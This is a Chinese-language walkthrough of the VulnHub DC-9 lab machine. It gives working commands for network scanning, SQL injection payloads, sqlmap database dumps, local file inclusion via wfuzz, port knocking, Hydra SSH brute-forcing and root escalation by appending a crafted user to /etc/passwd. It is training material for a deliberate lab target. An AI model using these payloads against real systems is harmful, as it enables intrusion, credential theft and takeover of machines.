知识点总结
只有对原理了然如心,你才能突破更多的限制!
1.学习信息收集的使用和重要性
2.了解基本的sql注入以及sqlmap的深入使用
3.本地文件包含的利用
4.ssh用户名密码爆破
5.ssh保护机制--knockd敲门
6.检索信息泄露
7.通过文件写入/etc/passwd提权
8.了解/etc/passwd目录的相关信息
9.巩固linux相关命令
环境安装
攻击机:kali2023
靶机安装:https://download.vulnhub.com/dc/DC-9.zip
信息收集
靶机IP检索
arp-scan -l
未开靶机:
开靶机:
经过开启与关闭的对比发现靶机IP:192.168.110.131
端口扫描
nmap 192.168.110.131
开启了80和22端口,但是22处于filter状态,肯定被做了相关的防护措施,那就看看80端口
网站遍历
养成习惯先看源码,好,一无所获,依次看Home就是上图,有个提示,select option,难道是sql注入,先留着,再看Display All Records
就存储了些用户信息,访问Search
sql injection开篇
一个查询界面试试sql注入payload,' or 1=1 --+
手动sql注入
果然爆出之前用户的所有的信息,bp抓包到repeater,再进一步查询语句如下
上述两处都可以插入语句,此处并没有对post传参做硬性要求,我们就可以直接在左边注入,也方便一点,注入语句依次如下
下述命令诠释:单纯的 ' 只能试出存在sql注入,此处要真正查询某user
Mary' order by 1 --+ //到7时就没有正常回显,说明只有6列
Mary' union select 1,2,3,4,5,6 --+ //确定回显的位置
Mary' union select database(),2,3,4,5,6
Mary' union select database(),group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database() --+
Mary' union select database(),group_concat(column_name),3,4,5,6 from information_schema.columns where table_name='Users' --+
Mary' union select database(),group_concat(Username,Password),3,4,5,6 from Users--+
....
查到了username和password还不知道用来干什么的,先留着,密码即为admin和3之间的字符,对其进行MD5解密(感觉是md5解密,应为一般密码并没有这么复杂),得密码transorbital1
再查看Manage
要登录,刚好试试刚刚的用户名密码,成功了登录!
另一种登录方法
如下:
目录扫描
dirb http://192.168.110.131
访问/includes,虽然一无所获,但是怀疑可能有文件包含
访问/css,只有一个修饰网站的css文件,并无其他信息
扫描文件名
dirb http://192.168.110.131 -X .php,.html,.zip,.txt
发现好多文件其实网站上都可以直接访问到,下面看看几个不能直接
访问config.php,结果一片空白
访问session.php,结果显示如下,welcome.php的效果和他一样
也许这就是信息收集的妙处吧
本地文件包含
为什么会想到文件包含?
因为上图
同时还有之前目录扫描时的/includes目录
我们试着找一下参数。因为我们是登录后才看到的file does not exist,所以记住带上cookie
wfuzz -c -u http://192.168.110.131/manage.php?FUZZ=../../../../../etc/passwd -w /usr/share/wfuzz/wordlist/general/common.txt -H "Cookie:PHPSESSID=l5r7estpbj5rrcfapfdhun8v6p"
发现好多,也不可能出现这么多参数,我们过滤掉word=100w
wfuzz -c -u http://192.168.110.131/manage.php?FUZZ=../../../../../etc/passwd -w /usr/share/wfuzz/wordlist/general/common.txt -H "Cookie:PHPSESSID=l5r7estpbj5rrcfapfdhun8v6p" --hw 100
看来只有file参数
【补充】:为什么有../../../../../etc/passwd
该目录存放着用户相关信息,然后../访问上级目录,只要我们最终能访问到根目录就行,这就要求../的数量够多(我是随便输入的五个../),因为根目录的上级一级目录是他本身!
我们就直接看看文件包含了
验证成功!但是好像没有什么可以利用的东西!
试过了远程文件包含也失败了!
回望之前的sql注入,应该还有没有利用的东西
sqlmap爆破数据库
之前手动注入效率有点低了,这次直接上sqlmap,脱库
sqlmap -u "http://192.168.110.131/results.php" --data="search=" --dump
上图就是我们之前看到的所有的user和admin
但是可以看出只拖出来一个库的两个表,因为连基本的information_schema都没有出现,我们再看看其他库
sqlmap -u "http://192.168.110.131/results.php" --data="search=" -dbs
sqlmap -u "http://192.168.110.131/results.php" --data="search=" -D users -tables
sqlmap -u "http://192.168.110.131/results.php" --data="search=" -D users -T UserDetails --dump
好,username,password看来让我们爆破用户密码
我们先把username和password字段分别提取到user,passwd
sqlmap -u "http://192.168.110.131/results.php" --data="search=" -D users -T UserDetails -C 'username' --dump >user
sqlmap -u "http://192.168.110.131/results.php" --data="search=" -D users -T UserDetails -C 'password' --dump>passwd
此时,回显的所有信息都在user和passwd里面,我们要进行处理最后得到
此处我新建了use.txt和password.txt用于存储用户名密码
那怎么使用这些用户名密码呢?想到之前不是开了22ssh服务了吗,但是被加了保护设施
一次ssh爆破
使用Hydra爆破ssh端口22
connection refused,跟上面22端口的filter有关,说明ssh一定被保护了
ssh端口保护科普
在此就科普一下,保护ssh端口的几种方法!
1、把 SSH 的标准端口改为不常用的值并增强 SSH 配置,从而挡住最简单的攻击。
2、定义有限的用户列表,只允许这些用户登录。
3、完全隐藏允许 SSH 访问的事实,要求根据特殊的 “敲门” 序列识别有效用户。
而此处即是利用的第三种方法,原因:排除1:端口未变,排除2:我们根本不能登录
Knockd“敲门”
那什么是“敲门”:如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH
的端口22
)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd
。knockd
是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit
)。telne
t或Putty
等客户软件通过向服务器上的端口发送TCP
或数据包来启动端口命中。
如果目标服务器上按照了 knockd
,那么默认的配置文件就存放在 /etc/knockd.conf
里!那么我们就可以利用文件包含去查看
kali下载knockd
apt-get install knockd
使用knockd敲门
knock 192.168.110.131 7469 8475 9842
可见敲门成功,我们再爆破用户名密码
爆出三个用户
登录第二个
登录第三个
发现隐藏文件,查看后,觉得应该是提供更多密码,复制粘贴追加到password.txt
二次ssh爆破
再次爆破密码,发现新用户
直接登录
权限提升
大致就是找到有执行权限的文件test,执行时发现该文件只想另一个test.py文件,查找该python文件的内容,而文件程序的作用:分别将两个文件作为参数,把第一个文件的内容追加到第二个文件中,此时就相当于我们对某些文件追加数据。
如何利用?
总所周知,/etc/passwd文件是用于存储用户的相关信息,我们也可以通过追加内容进而添加有root权限的新用户,其添加的具题内容又是什么,我们就根据分析/etc/passwd文件来确定
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell
实例如下:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...太多了,省略一部分...
skx:x:1000:1000:ubuntu-18.04.1,,,:/home/skx:/bin/bash
lilei:x:1001:1001:,,,:/home/lilei:/bin/bash
可以参看文章:llinux 写/etc/passwd文件添加用户_修改 /etc/passwd 增加空密码用户-CSDN博客
而密码处我们就可以使用openssl算法加密
先openssl passwd创建一个新用户admin和密码admin
openssl passwd -1 -salt admin admin
-1 #使用md5加密算法
-salt #自动锚入一个随机参数作为文件内容加密
然后构造/etc/passwd格式写入/tmp/passwd中
echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >/tmp/passwd
再运行刚刚发现的test.py将/tmp/passwd写入到/etc/passwd
因为之前的test是指向后来的test.py的,我们就可以通过执行test来执行test.py,主要是test.py目录文件我们没有执行权限!
sudo /opt/devstuff/dist/test/test /tmp/passwd /etc/passwd
然后我们直接su登录创建的用户就可以获得root权限了